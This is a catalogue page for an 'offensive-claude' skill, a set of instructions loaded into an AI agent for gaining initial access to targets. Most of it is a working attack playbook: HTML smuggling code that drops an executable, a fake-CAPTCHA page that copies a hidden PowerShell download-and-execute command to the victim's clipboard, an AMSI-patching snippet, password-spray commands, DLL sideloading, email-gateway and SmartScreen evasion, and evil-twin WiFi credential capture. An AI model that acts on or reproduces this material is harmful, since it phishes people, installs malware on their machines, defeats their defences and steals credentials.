Initial Access Skill for Claude

Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation

3k tokens

context cost

the whole folder, loaded on every use

files

instructions only

copies elsewhere

how many repositories repackaged it

334

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/hypnguyen1209/offensive-claude --skill initial-access

What it tells the agent to use

found in the instruction text

Bash runs shell commands — read the instruction before connecting

The instruction itself

26 sections, as written by the author

Initial Access

When to Activate

Planning initial access phase of red team engagement
Developing phishing campaigns and payload delivery
Bypassing email gateways and endpoint protection
Exploiting exposed services for initial foothold

Attack Vectors

Email-Based (Phishing)

Payload Delivery Formats (bypass probability):

.exe — almost always blocked
.iso/.img — bypasses MOTW (Mark of the Web) on older Windows
.html (smuggling) — high success rate
.pdf with embedded JS — moderate
.one (OneNote) — effective until patched
.lnk + DLL sideload — high success in ISO container
.pptm/.ppsm/.accde — often not covered by default protection

Domain Preparation:

Domain age > 2 weeks (warm up with legitimate emails first)
Use HTTPS with valid certificate
Category: business/technology (not "newly registered")
SPF, DKIM, DMARC properly configured
Send legitimate emails first to build reputation

HTML Smuggling

<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
    var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
    var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))], 
                        {type: 'application/octet-stream'});
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'Report_Q4_2026.iso';
    a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>

ISO/IMG Container (MOTW Bypass)

# Structure inside ISO:
├── Report.lnk          # Shortcut that executes the DLL
├── legitimate.exe      # Signed binary vulnerable to DLL sideload
└── payload.dll         # Malicious DLL loaded by legitimate.exe

# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen

Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.

OneNote (.one) Payload

# Embed .bat/.hta behind fake "Double click to view" image
# User double-clicks → executes embedded script
# Effective because OneNote files are rarely blocked by email gateways

DLL Sideloading

# Find legitimate signed EXE that loads DLL from CWD:
# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads
# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack
# 3. Place malicious DLL alongside legitimate EXE in delivery package

# Popular sideload targets:
# - Microsoft Teams: ffmpeg.dll
# - OneDrive: secur32.dll
# - Slack: libEGL.dll
# - VS Code: wlanapi.dll (portable mode)

Credential-Based Access

Credential Stuffing

# Use breach databases to test against target services
# Tools: Hydra, Burp Intruder, custom scripts
# Targets: VPN portals, OWA, O365, Citrix, RDP

# O365 password spray (avoid lockout: 1 attempt per user per hour)
# Tools: MSOLSpray, Ruler, MailSniper
python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com

# Common patterns to try:
# Season+Year: Summer2026!, Winter2025!
# Company+digits: CompanyName1!, Corp2026#
# Month+Year: May2026!, January2026!

Exposed Service Exploitation

# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto)
# Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS)
searchsploit fortinet
nuclei -u https://vpn.target.com -t cves/ -severity critical

# Exchange (ProxyShell, ProxyNotShell, OWASSRF)
# RDP (BlueKeep CVE-2019-0708 for legacy)
# Jenkins, GitLab, Confluence (common RCE CVEs)

Supply Chain

# Compromise trusted software update mechanism
# Inject into CI/CD pipeline
# Typosquatting on package managers (npm, PyPI)
# Compromise developer workstation → push malicious commit

Staged Payload Architecture

Stage 0 (Loader) — extremely light (<30KB), FUD
├── Self-contained, no external dependencies
├── Only job: download/extract/inject Stage 1
├── NOT .exe (use .dll sideload, .hta, .lnk+script)
└── Must bypass email gateway + endpoint AV

Stage 1 (Minimal Implant) — lightweight C2
├── 5-6 commands: ls, whoami, pwd, download, upload, execute
├── Persistent (registry, scheduled task)
├── FUD (may touch disk)
└── Used to deploy Stage 2 after recon

Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
├── Full post-exploitation capability
├── In-memory only (never written to disk)
├── Deployed after AV/EDR assessment
└── Replace Stage 1 persistence with Stage 2

OPSEC for Initial Access

Warm up phishing domain 2+ weeks before engagement
Use legitimate email services (O365, Google Workspace) for sending
Limit number of GET elements and parameter names in URLs
Test payload against target's email gateway (if possible, get sample config)
Use HTTPS for all payload hosting
Kill date on all payloads (auto-destruct after engagement window)
Separate infrastructure per engagement phase (phishing ≠ C2)
Monitor for blue team interaction with your infrastructure

Delivery Alternatives

# QR code to attacker-controlled site (bypasses email URL scanning)
# Legitimate file-sharing links (OneDrive, Google Drive, Dropbox)
# Vishing (voice phishing) → guide target to download payload
# USB drop (physical access scenarios)
# Watering hole (compromise site frequented by targets)
# LinkedIn/social media DM with "job offer" document

Advanced: Modern Payload Delivery (2024-2026)

ClickFix / Fake CAPTCHA

<!-- Social engineering: fake CAPTCHA that tricks user into running commands -->
<!-- User sees "Verify you are human" → copies PowerShell command to clipboard -->
<!-- Then instructed to press Win+R and paste -->

<div class="captcha-container">
  <h2>Verify you are human</h2>
  <p>Press Win+R, then Ctrl+V, then Enter</p>
  <button onclick="copyPayload()">I'm not a robot</button>
</div>
<script>
function copyPayload() {
    navigator.clipboard.writeText(
        'powershell -w hidden -ep bypass -c "IEX(IWR https://cdn.legit-looking.com/update.ps1)"'
    );
    document.querySelector('.captcha-container').innerHTML = 
        '<p>✓ Verification step 2: Press Win+R, paste (Ctrl+V), press Enter</p>';
}
</script>

Search Engine Optimization (SEO) Poisoning

# Compromise or create sites that rank for targeted searches
# Target: "download [software] free", "[tool] crack", "[error] fix"
# User searches → finds malicious site → downloads trojanized installer

# Technique:
# 1. Register domain similar to legitimate software site
# 2. SEO optimize for target keywords
# 3. Host trojanized installer (legitimate software + payload)
# 4. Payload executes silently during "installation"

# Targeted variant (watering hole):
# 1. Identify sites frequented by target organization
# 2. Compromise site (or buy ad space)
# 3. Serve exploit/payload only to visitors from target IP range
# 4. Use browser fingerprinting to avoid researchers

Malvertising (Ad-Based Delivery)

# Buy ads on legitimate platforms → redirect to exploit kit or fake download
# Targeting: geo, industry, job title, interests
# Evasion: cloaking (show benign content to ad reviewers, malicious to targets)

# Flow:
# 1. User clicks ad (or ad auto-redirects)
# 2. Landing page fingerprints browser/OS
# 3. If target matches: serve exploit or fake update prompt
# 4. If researcher/bot: serve benign content

# Google Ads abuse:
# - Bid on brand keywords (e.g., "download putty")
# - Ad appears above legitimate result
# - Links to typosquatted domain with trojanized download

Teams/Slack Message Delivery

# Microsoft Teams external messaging (if enabled):
# - Send message with malicious link/file from external tenant
# - Appears as legitimate business communication
# - Bypasses email gateway entirely

# Technique:
# 1. Create legitimate-looking M365 tenant
# 2. Send Teams message to target (external access often enabled)
# 3. Include: "shared document" link → credential phishing
# 4. Or: file attachment (if allowed) → payload delivery

# Slack:
# - Slack Connect allows cross-org messaging
# - Shared channels can be used for payload delivery
# - Webhook abuse: if webhook URL leaked → inject messages

Advanced: Evasion Techniques for Delivery

Email Gateway Bypass

# Techniques to bypass Proofpoint, Mimecast, Microsoft Defender for O365:

# 1. Delayed payload (time-bomb URL)
#    - Send email with link to benign page
#    - After email passes scanning: change page to malicious
#    - Gateway scanned at delivery time → clean
#    - User clicks hours later → malicious

# 2. CAPTCHA-gated payload
#    - Link goes to page with CAPTCHA
#    - Automated scanners can't solve CAPTCHA → see benign page
#    - Human user solves → gets payload

# 3. QR code in email body
#    - Many gateways don't scan QR codes in images
#    - QR points to phishing page or payload download
#    - User scans with phone → bypasses corporate proxy too

# 4. Legitimate file-sharing services
#    - Upload payload to OneDrive/SharePoint/Google Drive
#    - Share link in email
#    - Gateway trusts Microsoft/Google URLs
#    - Some gateways now scan shared files — use password protection

# 5. Reply-chain hijacking
#    - Compromise mailbox → reply to existing thread
#    - Recipients trust the context of ongoing conversation
#    - Attachment/link in reply seems natural

Endpoint Protection Bypass

# SmartScreen bypass (Windows):
# - Sign payload with valid code signing certificate (EV cert = auto-trust)
# - Use file types that don't trigger SmartScreen (.msi with valid sig)
# - Deliver via ISO/VHD (MOTW not propagated on older Windows)

# AMSI bypass for PowerShell delivery:
# Patch amsi.dll in memory before loading payload
$a=[Ref].Assembly.GetTypes()|?{$_.Name -like "*iUtils"}
$b=$a.GetFields('NonPublic,Static')|?{$_.Name -like "*Context"}
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

# Mark-of-the-Web removal:
# Files from internet get Zone.Identifier ADS
# Remove: streams.exe -d file.exe
# Or: copy file through pipe: type file.exe > clean.exe
# Or: deliver inside container (ISO/VHD/7z) that strips MOTW

Advanced: Physical Access Vectors

USB-Based Attacks

# Rubber Ducky / BadUSB
# Device appears as keyboard → types commands at HID speed
# Payload: open PowerShell → download and execute

# USB Armory / LAN Turtle
# Device appears as network adapter → MITM all traffic
# Respond to LLMNR/NBT-NS → capture NTLM hashes

# Bash Bunny
# Multi-function: storage + HID + network
# Exfiltrate files, inject keystrokes, network attacks

# O.MG Cable
# Looks like normal USB cable → contains WiFi-enabled implant
# Remote command execution via WiFi connection to cable

WiFi-Based Initial Access

# Evil Twin for corporate WiFi:
# 1. Clone corporate SSID (WPA Enterprise)
# 2. Use hostapd-wpe to capture RADIUS credentials
# 3. Crack MSCHAPv2 challenge/response
# 4. Use credentials for VPN/email/internal access

hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Captures: username + challenge + response
asleap -C CHALLENGE -R RESPONSE -W wordlist.txt

# Rogue AP for credential capture:
# 1. Create open AP with captive portal
# 2. Portal mimics corporate SSO login
# 3. Capture credentials when users "authenticate"

Other skills for the same job

different authors, same section of the catalogue

Protocolsio Integration

by christophacham

×4

Integration with protocols.io API for managing scientific protocols. This skill should be used when working with protocols.io to search, create, update, or publish protocols; manage protocol steps and materials; handle discussions and comments; organize workspaces; upload and manage files; or integrate protocols.io functionality into workflows. Applicable for protocol discovery, collaborative protocol development, experiment tracking, lab protocol management, and scientific documentation.

16k tokens

Tailored Resume Generator

by frostant

×4

Analyzes job descriptions and generates tailored resumes that highlight relevant experience, skills, and achievements to maximize interview chances

3k tokens

Excalidraw Diagram Generator

by github

vendor ×3

Generate Excalidraw diagrams from natural language descriptions. Use when asked to "create a diagram", "make a flowchart", "visualize a process", "draw a system architecture", "create a mind map", or "generate an Excalidraw file". Supports flowcharts, relationship diagrams, mind maps, and system architecture diagrams. Outputs .excalidraw JSON files that can be opened directly in Excalidraw.

Build and distribute Expo development clients locally or via TestFlight

Use when you have a written implementation plan to execute in a separate session with review checkpoints

Data structure for annotated matrices in single-cell analysis. Use when working with .h5ad files or integrating with the scverse ecosystem. This is the data format skill—for analysis workflows use scanpy; for probabilistic models use scvi-tools; for population-scale queries use cellxgene-census.

16k tokens

Benchling Integration

by christophacham

×3

Benchling R&D platform integration. Access registry (DNA, proteins), inventory, ELN entries, workflows via API, build Benchling Apps, query Data Warehouse, for lab data management automation.

Comprehensive molecular biology toolkit. Use for sequence manipulation, file parsing (FASTA/GenBank/PDB), phylogenetics, and programmatic NCBI/PubMed access (Bio.Entrez). Best for batch processing, custom bioinformatics pipelines, BLAST automation. For quick lookups use gget; for multi-service integration use bioservices.

24k tokens

How to use it

Copy the folder

Take hypnguyen1209/initial-access from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.